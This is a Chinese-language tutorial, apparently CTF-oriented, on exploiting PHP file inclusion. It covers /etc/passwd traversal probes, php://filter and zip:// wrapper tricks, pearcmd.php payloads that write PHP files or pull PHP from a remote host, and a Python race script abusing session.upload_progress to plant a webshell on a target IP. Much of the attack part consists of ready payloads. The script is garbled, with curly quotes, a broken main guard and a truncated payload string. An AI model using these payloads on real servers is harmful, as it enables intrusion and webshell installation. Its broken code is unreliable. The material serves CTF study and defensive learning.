文件包含
文件包含
文件包含分为本地包含和远程包含。
最基础的检测方式:
本地包含:?file=../../../etc/passwd
远程包含:?file=http://www.baidu.com
这两种是最基础的检测方式,用以判断是否存在文件包含漏洞。检测完成后在使用对应的利用方式进行利用。
常见的利用方式:
获取敏感信息:包含一些特殊的配置文件,获取敏感信息;
图片getshell;
临时文件getshell;
session文件getshell;
日志文件getshell(Apach、SSH等等);
利用php伪协议进行攻击(会成为最常见的方式):
file://
php://
php://filter
php://input
zip:// & bzip2:// & zlib://
data://
phar://
伪协议
file:// 协议
本地文件传输协议
file:// 用于访问本地文件系统,比如:在CTF中通常用来读取本地文件的且不受配置文件中allow_url_fopen与allow_url_include的影响。
格式:www.xxx.com?cmd.php=file://[文件的绝对路径和文件名]
php://协议
使用条件(php.ini配置):
allow_url_fopen | allow_url_include | |
---|---|---|
php://input | on/off | on |
php://stdin | on/off | on |
php://memory | on/off | on |
php://temp | on/off | on |
php://filter | on/off | on/off |
只需记住php://input 以及 php://filter,常用
php://filter
名称 描述
resource<—>要过滤的数据流 这是个必要参数。它指定了你需要筛选过滤的数据流(简单来说就是你的数据来源)
read<—>读链的筛选列表 这个参数可选。可以设定一个或多个过滤器名称。以管道符(/)分隔
write<—>读链的筛选列表 这个参数可选。可以设定一个或多个过滤器名称。以管道符(/)分隔
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter读取源码可以使用以下的一些命令:
读:php://filter/resource=文件名
php://filter/read=convert.base64-encode/resource=文件名
写:php://filter/resource=文件名&txt=文件内容
php://filter/write=convert.base64-encode/resource=文件名&txt=文件内容
zip://,bzip2://,zlib://协议
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
zip://协议
格式:
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
例如: zip://archive.zip#dir/file.txt
先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
pearcmd文件包含漏洞
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;
在7.4及以后,需要我们在编译PHP的时候指定—with-pear才会安装。
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php
。
要利用这个pearcmd.php
需要满足几个条件:
- 要开启register_argc_argv, 这个选项在Docker中使自动开启的
- 要有文件包含的利用
现在大部分CTF的环境都是利用docker搭建的,而现在的PHP题目的版本很大部分在7.4以上
利用
HTTP数据包中的query-string会被作为argv
, 在docker下复现pearcmd应该是可行的,当然默认也存在pearcmd。
config-create
利用payload:
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
文件包含的点是?file=
install
pear install http://xxxx/test.php
就可以下载php文件,还可以用--installroot
指定目录,这样可以构造payload:
1 | `?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://xxxx/test1.php` |
这个payload会将文件下载到网站目录的&file=/usr/local/lib/php/pearcmd.php\&/tmp/pear/download/
文件夹下,构造非常巧妙,访问时需要url编码,好处是可以直接访问到文件,不需要包含,当然可能存在没有写权限的情况,就需要另外构造:
?+install+--installroot+/tmp/testinstall+http://localhost/index.html+&file=/usr/local/lib/php/pearcmd.php
这个payload会将文件下载到/tmp/testinstall/tmp/pear/download
下,当然还有别的形式:
1 | `?+install+http://localhost/index.html+&file=/usr/local/lib/php/pearcmd.php` |
这个payload会将文件下载到/tmp/pear/download
下。
download
1 | `?+download+http://xxxx/test1.php&file=/usr/local/lib/php/pearcmd.php` |
原命令是pear download url
,和之前的install一样,&file=/usr/local/lib/php/pearcmd.php
这一部分会被加入pear
执行的参数中,在我们的服务器上构造会返回恶意代码的url:test1.php&file=/usr/local/lib/php/pearcmd.php
即可。
可以将文件写到当前网站目录下。
session.upload_progress
与Session文件包含
条件:
目标环境开启了session.upload_progress.enable
选项
发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS
的字段
请求的Cookie中包含Session ID
原理:
PHP在开启了session.upload_progress.enable
后(在包括Docker的大部分环境下默认是开启的),将会把用户上传文件的信息保存在Session中,而PHP的Session默认是保存在文件里的。
所以当攻击者发送满足上述条件的数据包时,就等于能够控制Session文件内容。
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait
target = ‘http://192.168.1.162:8080/index.php
‘
session = requests.session()
flag = ‘helloworld’
def upload(e: threading.Event):
files = [
(‘file’, (‘load.png’, b’a’ * 40960, ‘image/png’)),
]
data = {‘PHP_SESSION_UPLOAD_PROGRESS’: rf’’’‘); echo(‘{flag}’); ?>’’’}
while not e.is_set():
requests.post(
target,
data=data,
files=files,
cookies={‘PHPSESSID’: flag},
)
def write(e: threading.Event):
while not e.is_set():
response = requests.get(
f’{target}?file=/tmp/sess_{flag}’,
)
if flag.encode() in response.content:
e.set()
if name == ‘main‘:
futures = []
event = threading.Event()
pool = ThreadPoolExecutor(15)
for i in range(10):
futures.append(pool.submit(upload, event))
for i in range(5):
futures.append(pool.submit(write, event))
wait(futures)
脚本执行完毕后会在目标中写入/tmp/success
文件,里面即为Webshell